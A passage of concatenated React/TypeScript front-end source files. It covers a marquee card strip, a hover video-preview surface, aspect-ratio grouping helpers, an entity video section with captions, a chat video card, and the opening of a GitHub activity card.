marquee runs, so without this a user scrolling during a pause/suppress\n  // window hits the physical track edges). Both copies render identical\n  // content, so a ±half jump is pixel-invisible. ZONES, not exact edges:\n  // below `buffer` warp forward (+half, lands under half+buffer — outside\n  // the other zone, so the pair is hysteresis-stable), at/above\n  // half+buffer warp back (−half, lands at ≥buffer). The user can never\n  // reach a physical edge in either direction, and the racy \"observe\n  // exactly 0\" check that stuck leftward scrolling is gone. Initial rest at\n  // 0 warps once to `half` — pixel-identical, and it buys leftward headroom\n  // immediately.\n  const onSeamWarp = useCallback(() => {\n    const scroller = scrollerRef.current;\n    if (!scroller) return;\n    // Every scroll (native wheel/drag, smooth chevron scroll, marquee) moves\n    // cards under a possibly-stationary pointer — re-resolve hover regardless\n    // of marquee state (pointerenter/leave never fire for track motion).\n    syncHoverIfScrolled();\n    if (!marqueeActiveRef.current) return;\n    const half = singleCopyWidthRef.current;\n    if (half <= 0) return;\n    const buffer = seamBuffer();\n    let sl = scroller.scrollLeft;\n    if (sl >= half + buffer) {\n      sl -= half;\n      scroller.scrollLeft = sl;\n      marqueePosRef.current = sl;\n    } else if (sl < buffer) {\n      sl += half;\n      scroller.scrollLeft = sl;\n      marqueePosRef.current = sl;\n    }\n  }, [syncHoverIfScrolled, seamBuffer, marqueePosRef]);\n\n  // ---- render ----------------------------------------------------------------\n\n  const renderItem = (item: unknown, ctx: CardStripRenderCtx): React.ReactNode => {\n    if (!childrenMode) {\n      // Seam assertion (see normalization comment above).\n      return (props.renderCard as (item: unknown, ctx: CardStripRenderCtx) => React.ReactNode)(item, ctx);\n    }\n    // Managed cell — the ONLY place cell width / activation / clone a11y are\n    // encoded for children mode (extracted to a component so the clone\n    // focus-suppression hook can run per cell; see ManagedCell).\n    return <ManagedCell item={item} ctx={ctx} cardWidthMobile={cardWidthMobile} cardWidthDesktop={cardWidthDesktop} />;\n  };\n\n  if (items.length === 0) return null;\n\n  const copies = marqueeActive ? 2 : 1;\n\n  return (\n    <div\n      ref={node => {\n        wrapperRef.current = node;\n        rootRef?.(node);\n      }}\n      className={cn('flex w-full min-w-0 flex-col gap-6', className)}\n    >\n      {showTitle && title && <h2 className={`${SECTION_HEADING_CLASS} break-words`}>{title}</h2>}\n      {headerSlot}\n\n      <div className=\"relative\">\n        <div\n          ref={scrollerRef}\n          className=\"overflow-x-auto [scrollbar-width:none] [&::-webkit-scrollbar]:hidden\"\n          onWheel={onWheelIntent}\n          onTouchStart={onUserScrollIntent}\n          onPointerDown={onPointerDownIntent}\n          onPointerEnter={onHoverPointerEnter}\n          onPointerMove={onHoverPointerMove}\n          onPointerLeave={onHoverPointerLeave}\n          onPointerCancel={clearHover}\n          onScroll={onSeamWarp}\n        >\n          <div ref={trackRef} data-copies={copies} className=\"flex w-max items-stretch gap-4\">\n            {Array.from({ length: copies }, (_, copyIndex) =>\n              items.map((item, i) => {\n                const key = `${getItemKey(item, i)}__${copyIndex}__${i}`;\n                const isClone = copyIndex === 1;\n                return (\n                  // Clone copy a11y (aria-hidden + no focusable descendants —\n                  // WCAG) is the card's job in render-prop mode (via\n                  // ctx.isClone) and the managed cell's job in children mode.\n                  // The engine itself adds no wrapper here in render-prop mode\n                  // so the card root stays the track's direct child.\n                  <React.Fragment key={key}>\n                    {renderItem(item, {\n                      index: i,\n                      cardKey: key,\n                      isClone,\n                      isTouch,\n                      isMobile,\n                      active: activeKey === key,\n                      onActivate: activate,\n                      onDeactivate: deactivate,\n                      mounted: mountedIdx.has(i),\n                      rootRef: getCardRef(i),\n                    })}\n                  </React.Fragment>\n                );\n              }),\n            )}\n          </div>\n        </div>\n\n        {showChevrons && overflows && (\n          <>\n            {/* Shared design-system Button: outline surface (ods-card + border,\n                the Figma button-icon look) + the square `icon` size, which owns\n                the centered 24px glyph. Icon-only → aria-label required. */}\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"icon\"\n              aria-label={prevLabel}\n              onClick={() => scrollByCard(-1)}\n              className=\"absolute left-2 top-1/2 z-10 -translate-y-1/2\"\n              leftIcon={<Chevron02LeftIcon />}\n            />\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"icon\"\n              aria-label={nextLabel}\n              onClick={() => scrollByCard(1)}\n              className=\"absolute right-2 top-1/2 z-10 -translate-y-1/2\"\n              leftIcon={<Chevron02RightIcon />}\n            />\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n","'use client';\n\n/**\n * <VideoHoverPreviewSurface> — THE shared hover-preview media zone.\n *\n * Extracted verbatim from <VideoBiteCard>'s media stack so the bite strip and\n * the floating walkthrough card share ONE implementation of: poster layer\n * (cover-fallback chain) → first-frame facade fallback → center play badge →\n * controlled muted/sound hover playback, plus the two-way near-viewport player\n * mount gate. The <Video> Mux SSoT is the only player primitive used.\n *\n * Ownership split (do not regress):\n *   - This surface renders `absolute inset-0` content only. The HOST keeps the\n *     sized wrapper (aspect-ratio / height / max-width) so strip geometry can't\n *     regress, and keeps its own card-root concerns (data-strip-card-key,\n *     engine rootRef registration, hover/touch handlers, the bottom overlay).\n *   - Hover activation is CONTROLLED via `active` (the host owns hover state).\n *   - Player mount is controlled via `playerMounted` (the strip's shared gate)\n *     OR self-managed here via a two-way near-viewport observer (standalone\n *     editor cards). Exactly one path is ever active.\n */\n\nimport type React from 'react';\nimport { useEffect, useRef, useState } from 'react';\nimport Image from '../../embed-shims/next-image';\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport';\nimport { cn } from '../../utils/cn';\nimport { useCoverImageFallback } from '../chat/entity-cards/use-cover-image-fallback';\nimport { toMuxPreviewUrl } from './mux-origins';\nimport { Video, type VideoPlayerHandle, type VideoMutedFallbackState } from './video';\nimport { VideoPlayBadge } from './video-center-badge';\n\nexport interface VideoHoverPreviewSurfaceProps {\n  /** Source URL (Mux HLS / Supabase mp4). Rendition-capped internally. */\n  url: string;\n  /** Poster / thumbnail; resolved through the shared cover-fallback chain. */\n  posterUrl?: string | null;\n  /** CONTROLLED hover activation — the ONLY playback driver (maps to\n   *  <Video playWhenHovered={active}>). The host owns hover state. */\n  active: boolean;\n  /** Controlled player mount (strip budget gate). Omit → surface runs its own\n   *  two-way near-viewport observer. */\n  playerMounted?: boolean;\n  /** Marquee clone: applies `inert` to the media subtree (axe aria-hidden-focus). */\n  isClone?: boolean;\n  /** Center play badge when inactive. Default 'play'. */\n  badge?: 'play' | 'none';\n  /** Object-fit for the hover player. */\n  fit?: 'contain' | 'cover';\n  /** next/image sizes for the poster. Default '234px' (strip cell). */\n  posterSizes?: string;\n  /** Preview-player preload override. When 'none' AND the poster resolves null,\n   *  the network-fetching first-frame facade is SKIPPED (flat surface + badge)\n   *  so a fixed always-near widget card fetches nothing until first hover. */\n  preload?: 'none' | 'metadata' | 'auto';\n  /** Suppress the hover player's internal unmute glyph (host renders its own). */\n  hideMutedBadge?: boolean;\n  /** Muted-fallback state reporter, forwarded to the hover player. */\n  onMutedFallbackChange?: (state: VideoMutedFallbackState) => void;\n  /** Imperative handle for the hover player (host-driven unmute/pause). */\n  previewHandleRef?: React.Ref<VideoPlayerHandle>;\n  /** Standing mute intent from the host, applied when hover playback starts.\n   *  Without it an explicit mute was audibly undone by the next hover. */\n  mutedIntent?: boolean;\n  /** CONTINUATION mode (mini-player resume): mount the player immediately and\n   *  play from `startTime`, independent of `active`/hover. Exists so hosts do\n   *  NOT hand-roll a second player component — one surface, one behaviour. */\n  continuation?: boolean;\n  startTime?: number;\n  /** Play on mount. False resumes PAUSED at `startTime` (theater closed while\n   *  paused) — kept separate from `continuation` so a paused resume still\n   *  mounts and seeks instead of falling back to a poster. */\n  autoPlay?: boolean;\n  startMuted?: boolean;\n  onEnded?: () => void;\n  className?: string;\n}\n\nexport function VideoHoverPreviewSurface({\n  url,\n  posterUrl = null,\n  active,\n  playerMounted,\n  isClone = false,\n  badge = 'play',\n  fit,\n  posterSizes = '234px',\n  preload,\n  hideMutedBadge,\n  onMutedFallbackChange,\n  previewHandleRef,\n  mutedIntent = false,\n  continuation = false,\n  startTime,\n  autoPlay = false,\n  startMuted = false,\n  onEnded,\n  className,\n}: VideoHoverPreviewSurfaceProps): React.ReactElement {\n  // Rendition-capped playback URL: public Mux HLS manifests get\n  // `?max_resolution=720p` (non-Mux URLs pass through). Shared by the facade\n  // and the hover player so both layers reuse the same manifest fetch.\n  const previewUrl = toMuxPreviewUrl(url);\n\n  // Player mount: controlled (strip gate) or a self-managed TWO-WAY\n  // near-viewport observer (standalone). Two-way — players unmount again\n  // >500px away so live MuxPlayer instances stay bounded.\n  const gateControlled = playerMounted !== undefined;\n  const rootElRef = useRef<HTMLDivElement | null>(null);\n  const [isNear, setIsNear] = useState(false);\n  useEffect(() => {\n    if (gateControlled) return undefined;\n    const el = rootElRef.current;\n    if (!el || typeof IntersectionObserver === 'undefined') return undefined;\n    const io = new IntersectionObserver(entries => setIsNear(entries[0]?.isIntersecting ?? false), {\n      rootMargin: NEAR_VIEWPORT_ROOT_MARGIN,\n    });\n    io.observe(el);\n    return () => io.disconnect();\n  }, [gateControlled]);\n  // Continuation forces the media + player on regardless of hover/viewport gate.\n  const showMedia = continuation || (gateControlled ? playerMounted : isNear);\n\n  // Poster resolution — the shared entity-card cover fallback chain: the real\n  // thumbnail, dropped on load error. Null → first-frame facade (unless the\n  // preload-none skip rule applies).\n  const { src: posterSrc, onError: onPosterError } = useCoverImageFallback(posterUrl);\n\n  // Zero-network cost rule: a widget card that passes preload=\"none\" and has no\n  // poster renders a flat card surface + badge, NEVER the metadata-fetching\n  // facade (which would defeat the \"no fetch until hover\" cost decision).\n  const facadeSkipped = preload === 'none' && !posterSrc;\n\n  return (\n    <div ref={rootElRef} className={cn('absolute inset-0', className)} inert={isClone || undefined}>\n      {showMedia ? (\n        <>\n          {posterSrc ? (\n            <Image\n              src={posterSrc}\n              alt=\"\"\n              fill\n              sizes={posterSizes}\n              unoptimized\n              onError={onPosterError}\n              className=\"object-cover\"\n            />\n          ) : facadeSkipped ? (\n            <div className=\"absolute inset-0 bg-ods-card\" />\n          ) : (\n            <Video kind=\"file\" url={previewUrl} firstFrameOnly layout=\"fill\" fit={fit} />\n          )}\n\n          {badge === 'play' && !active && !continuation && <VideoPlayBadge className=\"absolute inset-0 z-10 m-auto\" />}\n\n          <div\n            className=\"absolute inset-0\"\n            style={{ '--media-background-color': 'transparent' } as React.CSSProperties}\n          >\n            <Video\n              // Remount between modes: `startTime` + autoplay are LOAD-TIME\n              // props (playback-core binds them to one-shot durationchange /\n              // loadstart handlers), so re-propping an already-loaded element\n              // silently drops the seek. Only a Mux preview rewrite changed\n              // `src` before, which is why HLS resumed and plain MP4 did not.\n              key={continuation ? 'continuation' : 'preview'}\n              kind=\"file\"\n              // Rendition-capped in BOTH modes: the cap was only skipped\n              // because changing `src` used to be the sole trigger for the\n              // seek; the explicit key handles that now, and a 320px mini\n              // player should never pull the uncapped manifest.\n              url={previewUrl}\n              poster={posterUrl}\n              {...(continuation\n                ? {\n                    startTime,\n                    autoPlay: autoPlay && startMuted,\n                    startMuted,\n                    autoPlayUnmuted: autoPlay && !startMuted,\n                  }\n                : { playWhenHovered: active })}\n              chromeless\n              layout=\"fill\"\n              fit={fit}\n              preload={preload}\n              mutedIntent={mutedIntent}\n              hideMutedBadge={hideMutedBadge}\n              onMutedFallbackChange={onMutedFallbackChange}\n              onEnded={onEnded}\n              playerHandleRef={previewHandleRef}\n            />\n          </div>\n        </>\n      ) : (\n        <div className=\"absolute inset-0 bg-ods-card\" />\n      )}\n    </div>\n  );\n}\n","'use client';\n\n/**\n * Aspect-ratio tab + grouping primitives for video surfaces.\n *\n * `RatioTabs` + `RATIO_GRID_CLASS` are ADMIN-ONLY now (VideoBitesEditor,\n * VideoLibraryGrid) — the public grid was replaced by `<VideoBitesStrip>`,\n * which consumes only `detectAspectRatio` + `RATIO_TO_CSS_ASPECT` from here.\n *\n * Why these live here in the lib (not the hub): the strip and the hub's\n * admin editors share the ratio primitives, and the lib is the SSoT.\n */\n\nimport type { ReactNode } from 'react';\nimport type { VideoTeaser } from '../../types/video-processing';\nimport { Tabs, TabsList, TabsTrigger, TabsContent } from '../ui/tabs';\n\n/**\n * Vizard clip extraction aspect ratios. Mirrors `lib/types/aspect-ratio.ts`\n * in the hub — narrow on purpose. If the hub's `VizardAspectRatio` adds a\n * value, mirror it here.\n */\nexport type VizardAspectRatio = '9:16' | '16:9' | '1:1';\n\n/**\n * Extended VideoTeaser with aspect_ratio metadata from Vizard.\n * The base `VideoTeaser` carries every other persisted bite field\n * (timing/confidence/viral_reason live there); this adds ONLY the\n * ratio. Import this when you need the ratio at compile time —\n * it is the canonical type display/aggregation code extends.\n */\nexport interface VideoTeaserWithRatio extends VideoTeaser {\n  aspect_ratio?: VizardAspectRatio;\n}\n\n/** Ratio category used for grid layout and tab grouping. */\nexport type RatioCategory = 'portrait' | 'square' | 'landscape';\n\n// Shared tab trigger class — matches `<EntityVideoSection>`'s pattern.\nconst TAB_TRIGGER_CLASS =\n  'rounded-none border-b-2 border-transparent data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:shadow-none px-4 py-2 text-h6 text-ods-text-secondary data-[state=active]:text-ods-text-primary';\n\n/** Grid class for each aspect ratio (admin editors — narrower columns). */\nexport const RATIO_GRID_CLASS: Record<RatioCategory, string> = {\n  portrait: 'grid grid-cols-2 md:grid-cols-3 gap-4',\n  square: 'grid grid-cols-2 md:grid-cols-3 gap-4',\n  landscape: 'grid grid-cols-1 md:grid-cols-2 gap-4',\n};\n\n/** CSS `aspect-ratio` value per category — sizing for strip cards + placeholders. */\nexport const RATIO_TO_CSS_ASPECT: Record<RatioCategory, string> = {\n  portrait: '9 / 16',\n  square: '1 / 1',\n  landscape: '16 / 9',\n};\n\nconst RATIO_TAB_CONFIG: { key: RatioCategory; label: string }[] = [\n  { key: 'portrait', label: 'Portrait 9:16' },\n  { key: 'square', label: 'Square 1:1' },\n  { key: 'landscape', label: 'Landscape 16:9' },\n];\n\ninterface RatioTabsProps {\n  groups: Record<RatioCategory, { count: number; render: () => ReactNode }>;\n  defaultTab?: RatioCategory;\n  className?: string;\n}\n\n/**\n * RatioTabs — shared aspect-ratio tab wrapper.\n *\n * Only renders tabs that have content. `forceMount` + `data-[state=inactive]:hidden`\n * keeps inactive tabs in the DOM so switching back doesn't scroll-jump.\n */\nexport function RatioTabs({ groups, defaultTab, className = '' }: RatioTabsProps) {\n  const activeTabs = RATIO_TAB_CONFIG.filter(t => groups[t.key].count > 0);\n\n  // If only one tab has content, don't show tabs.\n  if (activeTabs.length <= 1) {\n    const active = activeTabs[0];\n    return active ? <>{groups[active.key].render()}</> : null;\n  }\n\n  const firstTab = defaultTab && groups[defaultTab].count > 0 ? defaultTab : activeTabs[0].key;\n\n  return (\n    <Tabs defaultValue={firstTab} className={`w-full ${className}`}>\n      <TabsList className=\"mb-2 inline-flex h-auto justify-start gap-0 rounded-none bg-transparent p-0\">\n        {activeTabs.map(t => (\n          <TabsTrigger key={t.key} value={t.key} className={TAB_TRIGGER_CLASS}>\n            {t.label} ({groups[t.key].count})\n          </TabsTrigger>\n        ))}\n      </TabsList>\n      {activeTabs.map(t => (\n        <TabsContent key={t.key} value={t.key} forceMount className=\"data-[state=inactive]:hidden\">\n          {groups[t.key].render()}\n        </TabsContent>\n      ))}\n    </Tabs>\n  );\n}\n\n/**\n * Detect aspect ratio from a Vizard ratio string, falling back to\n * inferring from width/height if the string is missing or unknown.\n * Default: portrait (`'9:16'`).\n */\nexport function detectAspectRatio(ratioString?: string, width?: number, height?: number): VizardAspectRatio {\n  if (ratioString === '16:9') return '16:9';\n  if (ratioString === '1:1') return '1:1';\n  if (ratioString === '9:16') return '9:16';\n  if (width && height) {\n    if (Math.abs(width - height) < Math.min(width, height) * 0.1) return '1:1';\n    if (width > height) return '16:9';\n  }\n  return '9:16';\n}\n\n/** Map a `VizardAspectRatio` to its `RatioCategory` for grouping. */\nexport function ratioToCategory(ratio: VizardAspectRatio): RatioCategory {\n  if (ratio === '16:9') return 'landscape';\n  if (ratio === '1:1') return 'square';\n  return 'portrait';\n}\n\n/**\n * Group items by aspect ratio into portrait / square / landscape buckets.\n * `hasMultiple` is true when 2+ buckets are non-empty (drives tab vs. flat\n * grid rendering downstream).\n */\nexport function groupByAspectRatio<T>(\n  items: T[],\n  getAspectRatio: (item: T) => VizardAspectRatio,\n): {\n  portrait: T[];\n  square: T[];\n  landscape: T[];\n  hasMultiple: boolean;\n} {\n  const portrait: T[] = [];\n  const square: T[] = [];\n  const landscape: T[] = [];\n  for (const item of items) {\n    const cat = ratioToCategory(getAspectRatio(item));\n    if (cat === 'landscape') landscape.push(item);\n    else if (cat === 'square') square.push(item);\n    else portrait.push(item);\n  }\n  const filled = [portrait, square, landscape].filter(a => a.length > 0).length;\n  return { portrait, square, landscape, hasMultiple: filled > 1 };\n}\n","'use client';\n\nimport type React from 'react';\nimport type { ComponentType } from 'react';\nimport type { VideoTeaser } from '../../types/video-processing';\nimport { SECTION_HEADING_CLASS } from '../layout/page-heading';\nimport { Tabs, TabsList, TabsTrigger, TabsContent } from '../ui/tabs';\nimport { useCaptions } from './use-captions';\nimport { Video } from './video';\nimport { DEFAULT_VIDEO_BITES_TITLE, type VideoBiteStripProfile } from './video-bites-shared';\nimport { VideoBitesStrip, type VideoBiteStripItem } from './video-bites-strip';\n\n/**\n * <EntityVideoSection> — public detail-page video block.\n *\n * Tabbed Full Video / Highlights when both exist, plus optional\n * markdown summary + video bites grid. The actual video rendering\n * (YouTube facade, Mux HLS, MP4 fallback) is delegated to `<Video>` —\n * the single source of truth.\n *\n * YouTube takes precedence over the uploaded video when both\n * `youtubeUrl` and `mainVideoUrl` are present. That precedence is\n * resolved here (in the section wrapper) rather than inside `<Video>`,\n * so the underlying primitive stays single-source-per-render.\n */\n\ninterface MarkdownRendererProps {\n  content: string;\n}\n\nexport interface EntityVideoSectionProps {\n  /** Main uploaded video URL. */\n  mainVideoUrl?: string | null;\n  /** YouTube URL (takes priority over `mainVideoUrl` for display). */\n  youtubeUrl?: string | null;\n  /** AI-generated highlight video URL. */\n  highlightVideoUrl?: string | null;\n  /** Thumbnail for highlight video. */\n  highlightVideoThumbnail?: string | null;\n  /** Poster/thumbnail for main video. */\n  mainVideoPoster?: string | null;\n  /** Title for YouTube embed. */\n  title?: string;\n  /** AI-generated video summary (markdown). */\n  videoSummary?: string | null;\n  /** Video bites/teasers array. */\n  videoBites?: VideoTeaser[];\n  /** Title for the video bites section. Default: 'Key Moments' (unified). */\n  bitesTitle?: string;\n  /** Whether to filter bites to published only. */\n  filterPublishedBites?: boolean;\n  /** Section-level profile shown in the strip's hover overlay. */\n  bitesProfile?: VideoBiteStripProfile | null;\n  /** Navigation target for the strip's overlay footer (the origin entity). */\n  bitesHref?: string;\n  /** Custom node between the bites heading and the strip (description slot). */\n  bitesHeaderSlot?: React.ReactNode;\n  /** Navigation fallback for bites without their own href/onNavigate. */\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Marquee auto-scroll for the bites strip. Default true. */\n  bitesAutoScroll?: boolean;\n  /** Markdown renderer component injected by the host app. */\n  MarkdownRenderer?: ComponentType<MarkdownRendererProps>;\n  /**\n   * Raw SRT content. Deprecated — pass `captionsUrl` instead.\n   * Forwarded to `<Video>` for the dev-only warning.\n   */\n  srtContent?: string | null;\n  /** HTTPS URL to a VTT captions file (rendered as native `<track>`). */\n  captionsUrl?: string | null;\n  /**\n   * HTTPS URL to the HIGHLIGHT video's VTT captions file — same `<track>`\n   * mechanism as `captionsUrl`, applied to the Highlights tab / highlight-only\n   * player (`getCaptionsUrl(type, id, highlightSrt, { variant: 'highlight' })`).\n   */\n  highlightCaptionsUrl?: string | null;\n  /**\n   * Entity identity for caption derivation — the alternative to the explicit\n   * URL props above for hosts that don't hold the entity's SRT columns (chat\n   * cards). The section derives both `<track>` URLs itself from the runtime's\n   * captions base (`getEntityCaptionUrlsById`); explicit `captionsUrl` /\n   * `highlightCaptionsUrl` win when also provided.\n   */\n  captionsEntity?: { type: string; id: string | number } | null;\n  /** LCP hint — when true, the full-video tab's poster eager-loads. */\n  priority?: boolean;\n}\n\nexport function EntityVideoSection({\n  mainVideoUrl,\n  youtubeUrl,\n  highlightVideoUrl,\n  highlightVideoThumbnail,\n  mainVideoPoster,\n  title = 'Video',\n  videoSummary,\n  videoBites,\n  bitesTitle = DEFAULT_VIDEO_BITES_TITLE,\n  filterPublishedBites = true,\n  bitesProfile = null,\n  bitesHref,\n  bitesHeaderSlot,\n  onBiteNavigate,\n  bitesAutoScroll = true,\n  MarkdownRenderer,\n  srtContent,\n  captionsUrl: captionsUrlProp,\n  highlightCaptionsUrl: highlightCaptionsUrlProp,\n  captionsEntity,\n  priority = false,\n}: EntityVideoSectionProps) {\n  const captions = useCaptions();\n  const hasFullVideo = !!(youtubeUrl || mainVideoUrl);\n  const hasHighlight = !!highlightVideoUrl;\n  const hasVideo = hasFullVideo || hasHighlight;\n\n  // Caption resolution: explicit URL props win (detail pages gate on their\n  // entity's SRT columns); otherwise derive from `captionsEntity` identity —\n  // the zero-knowledge path for chat cards.\n  const derivedCaptions = captionsEntity ? captions.forEntityId(captionsEntity.type, captionsEntity.id) : null;\n  const captionsUrl = captionsUrlProp ?? derivedCaptions?.captionsUrl;\n  const highlightCaptionsUrl = highlightCaptionsUrlProp ?? derivedCaptions?.highlightCaptionsUrl;\n\n  if (!hasVideo && !videoSummary && (!videoBites || videoBites.length === 0)) {\n    return null;\n  }\n\n  // YouTube wins when both URLs are present.\n  const fullVideoUrl = youtubeUrl || mainVideoUrl || null;\n  const fullVideoKind: 'youtube' | 'auto' = youtubeUrl ? 'youtube' : 'auto';\n\n  return (\n    <>\n      {/* Branch on the resolved URLs themselves rather than on the derived\n          `hasFullVideo` flag: `fullVideoUrl` is truthy exactly when\n          `hasFullVideo` is, and testing it directly narrows it to a `string`\n          for `<Video url>` without a non-null assertion. `hasHighlight` is a\n          single-reference alias of `highlightVideoUrl`, so it narrows on its\n          own. */}\n      {hasVideo &&\n        (fullVideoUrl && hasHighlight ? (\n          <Tabs defaultValue=\"full-video\" className=\"w-full\">\n            <TabsList className=\"inline-flex h-auto justify-start gap-0 rounded-none bg-transparent p-0\">\n              <TabsTrigger\n                value=\"full-video\"\n                className=\"rounded-none border-b-2 border-transparent px-4 py-3 text-ods-text-secondary data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:text-ods-text-primary data-[state=active]:shadow-none md:px-6\"\n              >\n                Full Video\n              </TabsTrigger>\n              <TabsTrigger\n                value=\"highlights\"\n                className=\"rounded-none border-b-2 border-transparent px-4 py-3 text-ods-text-secondary data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:text-ods-text-primary data-[state=active]:shadow-none md:px-6\"\n              >\n                Highlights\n              </TabsTrigger>\n            </TabsList>\n\n            <TabsContent value=\"full-video\" className=\"mt-4\">\n              <Video\n                kind={fullVideoKind}\n                url={fullVideoUrl}\n                poster={mainVideoPoster}\n                title={title}\n                srtContent={srtContent}\n                captionsUrl={captionsUrl}\n                layout=\"centered\"\n                priority={priority}\n              />\n            </TabsContent>\n\n            <TabsContent value=\"highlights\" className=\"mt-4\">\n              <Video\n                url={highlightVideoUrl}\n                poster={highlightVideoThumbnail}\n                captionsUrl={highlightCaptionsUrl}\n                layout=\"centered\"\n              />\n            </TabsContent>\n          </Tabs>\n        ) : fullVideoUrl ? (\n          <Video\n            kind={fullVideoKind}\n            url={fullVideoUrl}\n            poster={mainVideoPoster}\n            title={title}\n            srtContent={srtContent}\n            captionsUrl={captionsUrl}\n            layout=\"centered\"\n            priority={priority}\n          />\n        ) : highlightVideoUrl ? (\n          <Video\n            url={highlightVideoUrl}\n            poster={highlightVideoThumbnail}\n            captionsUrl={highlightCaptionsUrl}\n            layout=\"centered\"\n            priority={priority}\n          />\n        ) : null)}\n\n      {videoSummary && MarkdownRenderer && (\n        <div className=\"flex w-full min-w-0 flex-col gap-6\">\n          <h2 className={`${SECTION_HEADING_CLASS} break-words`}>Summary</h2>\n          <div className=\"overflow-hidden break-words text-ods-text-primary text-h4\">\n            <MarkdownRenderer content={videoSummary} />\n          </div>\n        </div>\n      )}\n\n      {videoBites && videoBites.length > 0 && (\n        <VideoBitesStrip\n          bites={videoBites}\n          title={bitesTitle}\n          filterPublished={filterPublishedBites}\n          profile={bitesProfile}\n          href={bitesHref}\n          headerSlot={bitesHeaderSlot}\n          onBiteNavigate={onBiteNavigate}\n          autoScroll={bitesAutoScroll}\n        />\n      )}\n    </>\n  );\n}\n","'use client';\n\nimport type React from 'react';\nimport { captionsEntityTypeForDocType } from '../../features/captions-url';\nimport { EntityVideoSection } from '../../features/entity-video-section';\nimport type { ChatRef } from '../chat-ref.types';\n\n/**\n * <ChatVideoEntityCard> — chat-side inline render for video-bearing\n * entity refs. Reuses `<EntityVideoSection>` (the SAME component the\n * detail pages use for customer interviews, investor updates, product\n * releases, and case studies) so the chat surface matches the public\n * pages 1:1: Full Video / Highlights tabs, YouTube facade vs Mux HLS\n * routing, native fullscreen, captions, posters.\n *\n * Stripped-chrome rendering: just the player + tabs, no title, no\n * date, no Ask button. The inline pill at the marker position (in the\n * paragraph above) already shows the title, date, and Ask affordance\n * via the host's existing compact entity card. Duplicating those\n * here doubles the UX and steals vertical space inside the chat\n * panel. v6.1 §B.2.7.\n *\n * Activation contract: the host's dispatch routes here only when\n * `chatRef.metadata.videoUrl`, `youtubeUrl`, or `highlightVideoUrl`\n * is a non-empty string. URL safety is handled inside `<Video>` (the\n * single source of truth for player URL routing) — no duplicate\n * sanitization at the card level.\n */\nexport interface ChatVideoEntityCardProps {\n  /** Required. `metadata.videoUrl` / `youtubeUrl` / `highlightVideoUrl`\n   *  control routing inside `<EntityVideoSection>`. */\n  chatRef: ChatRef;\n}\n\nfunction readString(value: unknown): string | null {\n  return typeof value === 'string' && value.length > 0 ? value : null;\n}\n\nexport function ChatVideoEntityCard({ chatRef }: ChatVideoEntityCardProps): React.ReactElement {\n  const m = chatRef.metadata ?? {};\n  const videoUrl = readString(m.videoUrl);\n  const youtubeUrl = readString(m.youtubeUrl);\n  const poster = readString(m.videoPoster);\n  const highlightUrl = readString(m.highlightVideoUrl);\n  const highlightPoster = readString(m.highlightVideoPoster);\n\n  // No wrapping Card / header — the player is the whole card. The\n  // 16:9 aspect / rounded-corners / border come from <Video>'s own\n  // `layout=\"centered\"` styling inside <EntityVideoSection>.\n  return (\n    <EntityVideoSection\n      mainVideoUrl={videoUrl}\n      youtubeUrl={youtubeUrl}\n      highlightVideoUrl={highlightUrl}\n      highlightVideoThumbnail={highlightPoster}\n      mainVideoPoster={poster}\n      // Captions derive INSIDE the section from entity identity via the\n      // runtime's captions base — no caption data on the wire at all.\n      captionsEntity={{ type: captionsEntityTypeForDocType(chatRef.type), id: chatRef.id }}\n      title={chatRef.title}\n      // Intentionally omitted for chat density:\n      //   videoSummary    — assistant text above already covers it.\n      //   MarkdownRenderer — unused when videoSummary is omitted.\n      //   videoBites      — separate ask; chat doesn't surface bites\n      //                     today (planned follow-up).\n    />\n  );\n}\n","'use client';\n\n/**\n * GitHub Activity Card — unified visual for commits, PRs, and PR reviews.\n *\n * PURE PRESENTATION (no internal nav, no internal data fetching). The card\n * receives the structured `<a>` prop bundle via `anchorProps` (composed by\n * the caller from a runtime hook) and renders the rest from the\n * `GitHubActivityItem` shape directly.\n *\n * Two consumers share this component:\n *   1. Activity-list row (employee detail / similar) — pass `variant=\"row\"`.\n *   2. Chat-inline `[card://github_commit:<sha>]` markers — `variant=\"compact\"`.\n *\n * Unified data shape `GitHubActivityItem` covers all three GitHub types\n * (commit / PR / review).\n */\n\nimport { GitPullRequest, Eye, ExternalLink } from 'lucide-react';\nimport React from 'react';\nimport { formatDateUTC as formatDate } from '../../../utils/format';\nimport { GitHubIcon } from '../../icons/github-icon';\nimport type { GitHubActivityItem, GitHubActivityKind, PrReviewState } from '../types/entities/github-activity';\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n  safeHref,\n} from '../utils/compact-card-classes';\n\n/** Extract owner/repo from a GitHub URL. */\nfunction parseRepoFromUrl(url: string | null | undefined): string | null {\n  if (!url) return null;\n  try {\n    const u = new URL(url);\n    if (u.host !== 'github.com') return null;\n    const parts = u.pathname.split('/').filter(Boolean);\n    if (parts.length >= 2) return `${parts[0]}/${parts[1]}`;\n  } catch {\n    /* malformed URL */\n  }\n  return null;\n}\n\nfunction kindIcon(kind: GitHubActivityKind, className = 'h-4 w-4') {\n  switch (kind) {\n    case 'pull_request':\n      return <GitPullRequest className={`${className} shrink-0`} />;\n    case 'pr_review':\n      return <Eye className={`${className} shrink-0`} />;\n    case 'commit':\n    default:\n      return <GitHubIcon className={`${className} shrink-0`} />;\n  }\n}\n\nexport function kindLabel(kind: GitHubActivityKind): string {\n  switch (kind) {\n    case 'pull_request':\n      return 'PR';\n    case 'pr_review':\n      return 'Review';\n    case 'commit':\n    default:\n      return 'Commit';\n  }\n}\n\nexport function formatActivityId(id: string, kind: GitHubActivityKind): string {\n  if (!id) return '';\n  if (kind === 'pull_request' || kind === 'pr_review') return `#${id}`;\n 